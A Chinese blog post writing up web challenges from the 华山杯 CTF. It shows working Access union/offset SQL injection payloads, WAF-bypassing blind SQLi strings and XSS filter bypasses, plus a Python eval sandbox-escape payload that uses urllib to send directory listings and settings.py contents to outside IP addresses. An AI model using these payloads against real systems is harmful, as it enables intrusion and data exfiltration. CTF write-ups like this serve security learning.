LoRexxar's Blog | 信息技术分享

SPWC & 华山杯? writeup

2015/11/02

最近没什么时间好好去打个ctf,这段时间抽空找了两个ctf比赛做了做web题目,也算是长了很多见识,这里还是留存下觉得有用的东西。

华山杯

华山杯比赛的整体水平还挺不错,而且除了第二道脑洞以外脑洞都不打,学到了很多姿势

web1 怎么在web上ping呢? (html ping ddos)

最开始做这道题目的时候一直以为是php上面的黑魔法,研究了半天也没得到答案,后来看writeup的时候,发现了其实是html上的属性,HTML PING

在前台中直接修改元素为

1
<a href="flag.php" ping="flag.php">

然后点击就会产生异步的post包,抓包就能看到flag了,由于这个属性及易造成ddos,所以firefox默认ban掉了这个属性,所以这里需要使用别的浏览器。

web2 社工库查询 (intval 取整)##

题目真的有点儿脑洞大,首先翻翻发现存在一个robots.txt页面,里面提示到题目不是注入或者xss,也不需要扫目录,于是开始以为是从西瓜大神入手,社工了很久都没有想法,看到writeup才知道,提示里面的系统消息是指qq的10000号,在社工库中搜索10000就可以看到提示。

这里看到是intval,所以输入10000.1得到flag

web3 access偏移注入

这题让我学到很多东西,首先是去搜了下access注入;
注入的步骤首先是判断是否存在注入点:

1
2
and 1=1
and 1=2

然后是判断表名字

1
and exists (select * from 表名)

这里判断到是admin表
然后是判断是否存在字段

1
and exists (select 字段 from 表名)

我觉得正常能手跑出来的只有id,但是如果用sqlmap跑,还会有一些奇怪的,比如fname和realname(事实证明并没有什么用)
然后是判断字段数目

1
order by X(x为数字)

我这里判断结果为12.
接下来是union联合查询

1
2
http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp
?id=886 union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin

这里回显是这样的
5 Origin:7
证明回显为是上面的5和7,但是跑了半天发现,无论注出什么数据,都和flag无关。

后面查到如果找不到需要的字段,可以使用access偏移注入,
给我启发的是这篇文章
http://www.2cto.com/Article/201103/85452.html

最后的payload如下

1
2
http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp
?id=886 union select 1,2,3,4,* from (admin as a inner join admin as b on a.id=b.id)

得到密码hash,即是flag

web4 有waf该怎么注入呢 (sqli)

这里的题目没有认真做过,所以这里还是暂时贴上来几个payload:

1
id=1%20%26%26%20ord(substr((select%60flag%60from%60flag%60),1,1))=107
1
id=(select%a0ord(mid(flag,{},1))={}%a0from%a0flag)

写个python脚本泡泡就能得到答案了

web5 xss?xss? (xss/oncut=outerhtml)

做题时候照例尝试了过滤,大概试了试发现

1
# $ '' * + 1 - . / ; : < > @ [ ] \      //大部分符号被过滤,但是这里&和%没过滤,于是编码可以绕过

还发现on被过滤,开始发现<>和on我直接懵了,后来发现只要大写就可以绕过,于是,这里用了一个很特殊的黑科技,原文是这样的,这里直接用了一个简单的payload

1
YWxlcnQoMSkK"Oncut/setInterval%atob(value)),&quot   //前面的base64是alert(1)

这里用setinterval定时执行了value base64编码的值
还有一种是执行location.hash里,节省了长度

1
"Oncut=outerHTML=URL,%26quot#<iframe/onload=alert(1)></iframe>

web6 python web

python 不精,还是贴上别人的writeup

登陆的时候看到报错

看到这个就想起了,任意代码执行,obj和method我们都可以控制
getattr(globals()[c[‘obj’]],c[‘method’])
然后在params这输入任意字符报错:
ret = method(c[‘params’])
这三个我们都可以控制,那就是代码执行了,但是我们需要找到一个对象调用里面的方法,而python内置有一个builtin可以调用,这样我们调用eval方法就可以执行任意代码了
但是因为沙盒不能执行命令等危险操作。。。。。要得到数据可以通过urllib传到我们的服务器上
payload:
{“obj”:”builtin“,”method”:”eval”,”params”:”import(‘urllib’).urlopen(‘http://128.199.225.225:8080'+__import__('os').getcwd())"}
看到请求了:

沙盒不能用os.popen,os.system执行命令,那就先用os,listdir(‘./‘)列目录

最后用读取到settings.py里面的flag
payload:
{“obj”:”builtin“,”method”:”eval”,”params”:”import(‘urllib’).urlopen(‘http://198.199.105.146:8080',open('./mysite/settings.py').read())"}

spwc

CATALOG
  1. 1. 华山杯
    1. 1.1. web1 怎么在web上ping呢? (html ping ddos)
    2. 1.2. web2 社工库查询 (intval 取整)##
    3. 1.3. web3 access偏移注入
    4. 1.4. web4 有waf该怎么注入呢 (sqli)
    5. 1.5. web5 xss?xss? (xss/oncut=outerhtml)
    6. 1.6. web6 python web
  2. 2. spwc